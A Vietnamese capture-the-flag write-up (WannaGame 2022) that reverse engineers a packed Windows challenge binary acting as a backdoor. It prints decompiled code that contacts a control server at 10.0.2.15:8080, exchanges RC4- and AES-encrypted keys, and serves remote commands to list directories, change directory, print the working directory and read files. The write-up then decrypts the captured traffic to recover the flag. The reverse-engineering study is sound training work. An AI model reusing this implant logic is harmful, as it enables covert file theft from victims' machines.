  wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9);
  v19 = v74;
  do
  {
    *v19 ^= 54 - v74 + v19;
    v19 = (v19 + 1);
  }
  while ( v19 != (&v76 + 2) );
  v20 = strlen(v72);
  mem_concat(v72, v20, v74, 17, v72);
  v21 = strlen(v72);
  rc4(v70, v61[0], v72, v21, v71);
  v22 = strlen(v72);
  v23 = strlen(user_token);
  mem_concat(user_token, v23, v71, v22, v71);
  v24 = strlen(v72);
  v25 = v24 + strlen(user_token);
  v26 = b64_encode(v71, v25);
  wcscpy(v74, L"key");
  v56 = v26;
  if ( !post_request(v74, v26, 0) )
    return -1;
  memset(&key_bytes, 0, 30);
  memset(&iv_bytes, 0, 30);
  if ( !string2hex(key, 0x20u, &key_bytes) )
    return -1;
  if ( !string2hex(iv, 0x20u, &iv_bytes) )
    return -1;
  get_current_dir();
  v28 = 54 - v74;
  while ( 2 )
  {
    memset(v72, 0, 2048);
    wmemcpy(v74, L"ᕍ䵋佛义Ԝ捠☰℥政䤵", 10);
    v29 = v74;
    do
    {
      *v29 ^= v28 + v29;
      v29 = (v29 + 1);
    }
    while ( v29 != (&v76 + 4) );
    v30 = strlen(v72);
    mem_concat(v72, v30, v74, 19, v72);
    v31 = (strlen(v72) & 0xFFFFFFF0) + 16;
    AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
    AES_CBC_encrypt_buffer(v66);
    v32 = strlen(user_token);
    mem_concat(user_token, v32, v72, v31, v72);
    v33 = strlen(user_token);
    v34 = b64_encode(v72, v31 + v33);
    v35 = v74;
    v36 = 54;
    wmemcpy(v74, L"TRYZUUcMWQ'A", 12);
    do
      *v35++ ^= v36++;
    while ( &v77 != v35 );
    if ( !post_request(v74, v34, v56) )
      return -1;
    if ( strcmp(v56, &unk_40F000) )
      assert("!strcmp(response, \"Ok\")", ".\\challenge.c", 126);
    v62 = 0;
    memset(v64, 0, 48);
    if ( WSAStartup(514, v67) )
      return -1;
    wmemcpy(v74, L"ԇഋ㬏", 3);
    v64[0] = 0x200000001;
    v64[1] = 0x600000001;
    v37 = getaddrinfo;
    v38 = v74;
    do
    {
      *v38 ^= v28 + v38;
      v38 = (v38 + 1);
    }
    while ( &v74[3] != v38 );
    v55 = v37(0, v74, v64, &v62);
    if ( v55 )
    {
LABEL_39:
      v50 = -1;
      WSACleanup();
      return v50;
    }
    v39 = socket(*(v62 + 4), *(v62 + 8), *(v62 + 12));
    v40 = v39;
    if ( v39 == -1 )
    {
      v50 = -1;
      freeaddrinfo(v62);
      WSACleanup();
      return v50;
    }
    if ( bind(v39, *(v62 + 32), *(v62 + 16)) == -1 )
    {
      v50 = -1;
      freeaddrinfo(v62);
LABEL_54:
      closesocket(v40);
      WSACleanup();
      return v50;
    }
    freeaddrinfo(v62);
    if ( listen(v40, 0x7FFFFFFF) == -1 )
    {
      v50 = -1;
      goto LABEL_54;
    }
    v54 = accept(v40, 0, 0);
    if ( v54 == -1 )
    {
      closesocket(v40);
      WSACleanup();
      return -1;
    }
    closesocket(v40);
    memset(v73, 0, 4096);
    while ( 1 )
    {
      memset(v69, 0, 1048);
      v41 = recv(v54, v69, 1048, 0);
      if ( v41 <= 0 )
        break;
      v57 = strlen(v69);
      v42 = strlen(v73);
      mem_concat(v73, v42, v69, v57, v73);
      if ( v69[strlen(v69) - 1] == 10 )
        goto LABEL_31;
    }
    if ( v41 )
    {
      closesocket(v54);
      goto LABEL_39;
    }
LABEL_31:
    v73[strlen(v73) - 1] = 0;
    v63 = 0;
    v43 = strlen(v73);
    v44 = b64_decode_ex(v73, v43, &v63);
    memset(v66, 0, 192);
    AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
    strlen(v73);
    AES_CBC_decrypt_buffer(v66, v44);
    (*v44)[0][v63] = 0;
    v45 = strlen(v44);
    v58 = json_parse(v44, v45);
    memset(v70, 0, 2048);
    v61[0] = 0;
    process_object(v58, 2, v70, v61);
    memset(v74, 0, 4096);
    strcpy(v68, "1");
    v46 = strcmp(v70, v68);
    if ( v46 )
    {
      strcpy(v68, "2");
      v46 = strcmp(v70, v68);
      if ( v46 )
      {
        strcpy(v68, "3");
        v46 = strcmp(v70, v68);
        if ( v46 )
        {
          strcpy(v68, "4");
          v46 = strcmp(v70, v68);
          if ( v46 )
          {
            v46 = 0;
            strcpy(v68, "5");
            if ( !strcmp(v70, v68) )
            {
              strcpy(v68, "ok");
              v46 = 1;
              strcpy(v74, v68);
            }
          }
          else
          {
            pwd(v74);
          }
        }
        else
        {
          v61[0] = 0;
          memset(v68, 0, 1024);
          process_object(v58, 3, v68, v61);
          cat_file(v68, v74);
        }
      }
      else
      {
        v61[0] = 0;
        memset(v68, 0, 1024);
        process_object(v58, 3, v68, v61);
        if ( cd_dir(v68) )
        {
          qmemcpy(v60, "PVQU__<", sizeof(v60));
          v51 = v60;
          v52 = strcpy;
          v53 = 54;
          do
            *v51++ ^= v53++;
          while ( v53 != 61 );
          v52(v74);
        }
        else
        {
          strcpy(v60, "ok");
          strcpy(v74, v60);
        }
      }
    }
    else
    {
      list(v74);
    }
    v47 = (strlen(v74) & 0xFFFFFFF0) + 16;
    memset(v66, 0, 192);
    AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
    AES_CBC_encrypt_buffer(v66);
    v48 = b64_encode(v74, v47);
    v59 = send;
    v49 = strlen(v48);
    if ( v59(v54, v48, v49, 0) == -1 )
    {
      v50 = 1;
      closesocket(v54);
      WSACleanup();
      return v50;
    }
    if ( shutdown(v54, 1) == -1 )
    {
      closesocket(v54);
      v50 = 1;
      WSACleanup();
      return v50;
    }
    closesocket(v54);
    WSACleanup();
    freeaddrinfo(v62);
    if ( !v46 )
      continue;
    return v55;
  }
```

Khúc trên mới nhìn vào thì nó hơi bùi nhùi 1 xíu :)) nma mình sẽ tách từng phần nhỏ ra dễ nói hơn:

P/S: Trong lúc làm mình không đổi tên bất cứ biến nào..., và write up này cũng vậy <(") nên ráng theo dõi tuần tự nhé
#### Khởi tạo
```c
  memset(v70, 0, 2048);
  wcscpy(v74, L"key");
  if ( !get_request(v74, v70) )
    return -1;
  v3 = strlen(v70);
  v4 = b64_decode(v70, v3);
  v5 = strlen(v4);
  v6 = json_parse(v4, v5);
  memset(v70, 0, 2048);
  v61[0] = 0;
  process_object(v6, 1, v70, v61);
  v7 = srand;
  v8 = time(0);
  v7(v8);
  memset(v65, 0, 80);
  memset(v71, 0, 2048);
```

Hàm `get_request`: thực hiện GET request đến IP `10.0.2.15:8080/` + a1, sau đó response sẽ trả về vào a2:
```c
__int64 __fastcall get_request(const wchar_t *a1, char *a2)
{
  __int64 v4; // r12
  unsigned int v5; // ebp
  __int64 v6; // rax
  __int64 v7; // rbx
  __int64 v8; // rax
  __int64 v9; // rsi
  __int64 v10; // rax
  __int64 v11; // r13
  unsigned int v13; // [rsp+44h] [rbp-1444h] BYREF
  unsigned int v14; // [rsp+48h] [rbp-1440h] BYREF
  int v15; // [rsp+4Ch] [rbp-143Ch] BYREF
  char v16[1024]; // [rsp+50h] [rbp-1438h] BYREF
  char v17[4152]; // [rsp+450h] [rbp-1038h] BYREF

  v4 = calloc(3000, 1);
  v13 = 0;
  v14 = 0;
  memset(v16, 0, 1024);
  v5 = 0;
  memset(v17, 0, 4096);
  v15 = 1024;
  if ( !ObtainUserAgentString(0, v16, &v15) )
  {
    mbstowcs(v17, v16, 1024);
    v6 = WinHttpOpen(v17, 1, 0, 0, 0x10000000);
    v7 = v6;
    if ( v6 )
    {
      v8 = WinHttpConnect(v6, L"10.0.2.15", 8080, 0);
      v9 = v8;
      if ( v8 )
      {
        v10 = WinHttpOpenRequest(v8, 0, a1, 0, 0, 0, 0);
        v11 = v10;
        if ( v10 )
        {
          if ( WinHttpSendRequest(v10, 0, 0, 0, 0, 200, 0) && WinHttpReceiveResponse(v11, 0) )
          {
            WinHttpQueryDataAvailable(v11, &v13);
            v5 = 1;
            WinHttpReadData(v11, v4, v13, &v14);
          }
          else
          {
            v5 = 0;
          }
          WinHttpCloseHandle(v11);
        }
        WinHttpCloseHandle(v9);
      }
      WinHttpCloseHandle(v7);
    }
    memcpy(a2, v4, v14);
    a2[v14] = 0;
  }
  return v5;
}
```

Như vậy trong phần khởi tạo sẽ gọi đến `/key` để request server -> lưu 2048 bytes trả về vào trong `v70`.

Sau đó chương trình sẽ decode base64 `v70` -> `v4`. Từ `v4` parse json vào `v6`, và đoán là sẽ lấy object có key `v70`, lưu vào `v61[0]`.

Để xác thực, dump GET Request `/key` từ Wireshark và decode base64 ta được:
```json
{"token": "ce537007fc0c1f1b42680e74d2658ab100bef36a43d8afaac4ece4702fb1610f", "key": "yuaNTDdgYR3cJIQcpnSfe6fXlWKMUmZxFzD0xWKVjNXWPYlShZVL+zg9TOnFkWBeoK03bp7i+WZCVZDflzzc3A=="}
```

-> Xác thực giả thiết và `v61[0]` sẽ chứa `key` ở dạng base64!


#### Tạo khoá công khai với RC4

Khúc này ban đầu mình cũng khá là đau đầu :)) hàm `text_68` sau khi inspect sẽ biết được nó là `vsprintf`, vậy mà tham số truyền vào lại là mấy chuỗi tiếng Tàu... vậy thì đống data xử lý như thế nào <(").

Khoảng vài phút sau mới nhận ra thực ra là lỗi bên IDA :)) VMProtect đổi mấy hàm `strcpy` thành `wcscpy` để anti static analysis, thành ra IDA sẽ luôn nhận tham số thứ 2 là chuỗi Unicode, thay vì là chuỗi ascii (1 ký tự Unicode được ghép từ 2 hay nhiều bytes lại với nhau, trong khi ascii chỉ cần 1 byte để biểu diễn)

Quick fix cho vấn đề này thì phải tab qua lại với bên assembly để lấy số ban đầu, sau đó decode sang chuỗi little endian... Chú ý: cách này mình dùng trong lúc thi thôi do thời gian gấp rút, còn cho đơn giản thì có thể dùng cyberchef như sau

![wannagame-2022_2022-12-17-23-58-04](https://hackmd.io/_uploads/rJw0HrELp.png)


```c
  v9 = key;
  v61[1] = 0;
  v10 = iv;
  do
  {
    v11 = rand();
    v12 = v11;
    wcscpy(v74, L"〥報"); // %01X -> Để in hex
    text_68(v9, v74, (v11 >> 4) & 0xF);
    wcscpy(v74, L"〥報"); // %01X
    text_68(v9 + 1, v74, v12 & 0xF);
    v13 = rand();
    v14 = v13;
    wcscpy(v74, L"〥報"); // %01X
    text_68(v10, v74, (v13 >> 4) & 0xF);
    v9 += 2;
    wcscpy(v74, L"〥報"); // %01X
    v15 = v10 + 1;
    v10 += 2;
    text_68(v15, v74, v14 & 0xF);
  }
  while ( v9 != &key[32] ); // Tạo random 1 số và convert sang hex nối vào key (v9), tương tự với IV (v10)
  mem_concat(key, 32, iv, 32, v65); // Nối: v65 = key + iv, mỗi chuỗi độ dài là 32 bytes -> size Key với IV là 16
  memset(v72, 0, 2048);
  wmemcpy(v74, L"ᕍ䭈䵓䥝ᵛ慺䍠", 7); // \x4d\x15\x48\x4b\x53\x4d\x5d\x49\x5b\x1d\x7a\x61\x60\x43
  v16 = v74;
  do
  {
    *v16 ^= 54 - v74 + v16; // Tối giản thành *v16 ^= 54 + i -> {"private": "\x00
    v16 = (v16 + 1);
  }
  while ( (&v75 + 6) != v16 );
  v17 = strlen(v72);
  mem_concat(v72, v17, v74, 13, v72); // v72 += v74
  v18 = strlen(v72);
  mem_concat(v72, v18, v65, 64, v72); // v72 += v65
  wmemcpy(v74, L"ᬔᬘ告䥎Ԝ灠灰灰䜻", 9); // \x14\x1b\x18\x1b\x4a\x54\x4e\x49\x1c\x05\x60\x70\x70\x70\x70\x70\x3b\x47
  v19 = v74;
  do
  {
    *v19 ^= 54 - v74 + v19; // Tương tự -> ", "port": 12345}\x00
    v19 = (v19 + 1);
  }
  while ( v19 != (&v76 + 2) );
  v20 = strlen(v72);
  mem_concat(v72, v20, v74, 17, v72); // v72 += v74
  v21 = strlen(v72);
  rc4(v70, v61[0], v72, v21, v71); // Từ hàm RC4 trên https://gist.github.com/rverton/a44fc8ca67ab9ec32089,
  // Thứ tự có thể là key -> plain -> cipher, suy ra là encrypt v72 với key là v61[0], hay key mà ta tìm được ở phần trước (thông qua request từ server), kết quả sẽ lưu ở v71
  v22 = strlen(v72);
  v23 = strlen(user_token);
  mem_concat(user_token, v23, v71, v22, v71); // v71 = user_token + v71, user_token ở đây có thể là token ở phần trước, do đã bỏ qua việc xét tới hàm process_object
  v24 = strlen(v72);
  v25 = v24 + strlen(user_token);
  v26 = b64_encode(v71, v25); // encode v71 -> v26
  wcscpy(v74, L"key");
  v56 = v26;
  if ( !post_request(v74, v26, 0) ) // Gửi post request v26 lên server:
    return -1;
```

Với lượng thông tin ta biết được, cấu trúc của gói tin sẽ như sau:

Base64(TOKEN_FROM_SERVER + RC4(KEY_FROM_SERVER, JSON_OF_KEY_IV))

-> Giải mã được như sau:

![wannagame-2022_2022-12-18-00-33-32](https://hackmd.io/_uploads/Hy118H48T.png)


```json
{"private": "3A87C22F8F2500606FACB653F1F686BC94DC0CF2BA4F121A94FB432D59D53992", "port": 12345}
```

Tách làm đôi 
``` 
KEY = 3A87C22F8F2500606FACB653F1F686BC, 
IV = 94DC0CF2BA4F121A94FB432D59D53992
```

#### Thiết lập kết nối

Ở phần này thì thực ra chỉ cần để ý những dòng sau:
```c
    AES_init_ctx_iv(v66, &key_bytes, &iv_bytes);
    AES_CBC_encrypt_buffer(v66);
    v32 = strlen(user_token);
    mem_concat(user_token, v32, v72, v31, v72);
    v33 = strlen(user_token);
    v34 = b64_encode(v72, v31 + v33);
```

Hơn nữa hàm parse_json cũng sẽ được gọi khá nhiều -> Chương trình đang thiết lập giao thức socket TCP bằng AES CBC với KEY và IV ở trên. Lúc mình làm ra khúc này thì còn 10p :)) nên phần sau đây sẽ lụi luôn <("), setup cyberchef với thông số thích hợp và lần lượt dump các tcp stream để check xem giao tiếp qua lại những gì (khúc này chắc ý định của tác giả sẽ là viết tool để decode conversation, nhưng hên là không có quá nhiều nên mình làm chay vẫn kịp giờ :)))

Nhìn sơ qua thì có vẻ chương trình đang thực hiện chạy lệnh gì đó, (maybe nhận lệnh đọc file từ server, sau đó gửi ngược lại ?). Cấu trúc gói tin của 2 bên cũng tương tự như trên:

Base64(USER_TOKEN + AES(KEY_FROM_SERVER, IV_FROM_SERVER, DATA))

Kết quả là đã tìm được ở tcp stream 20 :))

![wannagame-2022_2022-12-18-00-45-40](https://hackmd.io/_uploads/S1_1US4Ua.png)


Phần UserToken mình làm biếng nên sẽ để chung rồi decrypt luôn, cũng không ảnh hưởng mấy tới kết quả :v

![wannagame-2022_2022-12-18-00-46-06](https://hackmd.io/_uploads/SyhJ8HVIp.png)


**flag**: `n3tc4t_15_l15t3nIng_0n_p07t_8080`